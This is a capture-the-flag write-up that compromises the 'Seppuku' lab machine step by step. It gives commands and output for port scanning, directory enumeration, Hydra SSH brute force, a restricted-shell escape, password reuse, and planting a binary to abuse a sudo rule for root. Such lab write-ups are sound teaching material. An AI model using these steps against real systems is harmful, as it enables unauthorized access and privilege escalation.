# Seppuku Writeup - Proving Grounds

> Easy Linux box leaking an SSH key and a custom password list that brute forces the seppuku account into a restricted shell. A root-owned password file is reused for samurai, whose sudo rule runs a missing binary in tanto's home, which is planted via the leaked key and run as samurai for root.

- **URL:** https://hackindex.io/writeups/seppuku
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** brute-force, information-disclosure, credential-reuse, sudo-misconfiguration, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Seppuku leaks an SSH key and a custom password list from an Apache site on port 7601. The wordlist brute forces the seppuku SSH account, which lands in a restricted shell. A root-owned password file is reused for samurai, whose sudo rule runs a non-existent binary in tanto's home; logging in as tanto with the leaked key to create that binary, then running the sudo rule as samurai, gives root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE     VERSION
# 21/tcp   open  ftp         vsftpd 3.0.3
# 22/tcp   open  ssh         OpenSSH 7.9p1 Debian
# 80/tcp   open  http        nginx 1.14.2 (401 Basic auth)
# 139/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian
# 445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian
# 7080/tcp open  ssl/http    LiteSpeed httpd
# 7601/tcp open  http        Apache httpd 2.4.38 ((Debian))
# |_http-title: Seppuku
# 8088/tcp open  http        LiteSpeed httpd
```

Among the web servers, the Apache site on port 7601 is titled Seppuku. Brute force its directories.

### Directory discovery

Enumerate directories.

```bash
dirb http://$TARGET_IP:7601/ -r
# ==> DIRECTORY: http://$TARGET_IP:7601/keys/
# ==> DIRECTORY: http://$TARGET_IP:7601/secret/
# + http://$TARGET_IP:7601/index.html (CODE:200)
```

Two directories hold loot: `/keys/private` is an SSH private key for an unknown user, and `/secret` holds a `hostname` file (`seppuku`) and a custom `password.lst`.

```bash
wget -q http://$TARGET_IP:7601/keys/private
wget -q http://$TARGET_IP:7601/secret/hostname
wget -q http://$TARGET_IP:7601/secret/password.lst
# # /keys/private
# -----BEGIN RSA PRIVATE KEY-----
# MIIEpAIBAAKCAQEAypJlwjKXf0F4YvL2gfwvoUuvB7fuGMMfCe41gLCsTsleOUy2
# <snip>
# -----END RSA PRIVATE KEY-----
#
# # /secret/hostname
# seppuku
#
# # /secret/password.lst (custom wordlist)
# 123456
# password
# ...
```

The hostname hints the username is `seppuku`.

## Exploitation

### SSH brute force

Brute force the SSH password for `seppuku` with the recovered wordlist.

```bash
hydra -l seppuku -P password.lst $TARGET_IP ssh
# [22][ssh] host: $TARGET_IP   login: seppuku   password: $SEPPUKU_PASSWORD
```

The login drops into a restricted `rbash` shell, and the three users (seppuku, samurai, tanto) all use rbash. Reconnect forcing a non-profile bash to escape, then read the root-owned `.passwd` in seppuku's home.

```bash
ssh seppuku@$TARGET_IP -t "bash --noprofile"
# seppuku@seppuku:~$ cat /home/seppuku/.passwd
# $SAMURAI_PASSWORD
# seppuku@seppuku:~$ ls /home
# samurai  seppuku  tanto
```

The password in `.passwd` is reused for another user.

## Privilege Escalation

### Password reuse and a writable sudo target

Switch to `samurai` with that password and list the sudo rights.

```bash
su samurai
# samurai@seppuku:/home$ su samurai
# Password:
# samurai@seppuku:/home$ sudo -l
# User samurai may run the following commands on seppuku:
#     (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
```

samurai can run `/home/tanto/.cgi_bin/bin` as root, but that binary does not exist. Log in as `tanto` with the leaked SSH key and create it, pointing at a shell.

```bash
ssh -i private tanto@$TARGET_IP -t "bash --noprofile"
# tanto@seppuku:~$ mkdir .cgi_bin
# tanto@seppuku:~$ echo '/bin/bash' > .cgi_bin/bin
# tanto@seppuku:~$ chmod 777 .cgi_bin/bin
```

Back as `samurai`, run the sudo rule, which now executes the planted binary as root.

```bash
sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
# samurai@seppuku:/home/tanto$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
# root@seppuku:/home/tanto# whoami
# root
```

The sudo rule runs the attacker-controlled binary as root, giving a root shell.

Related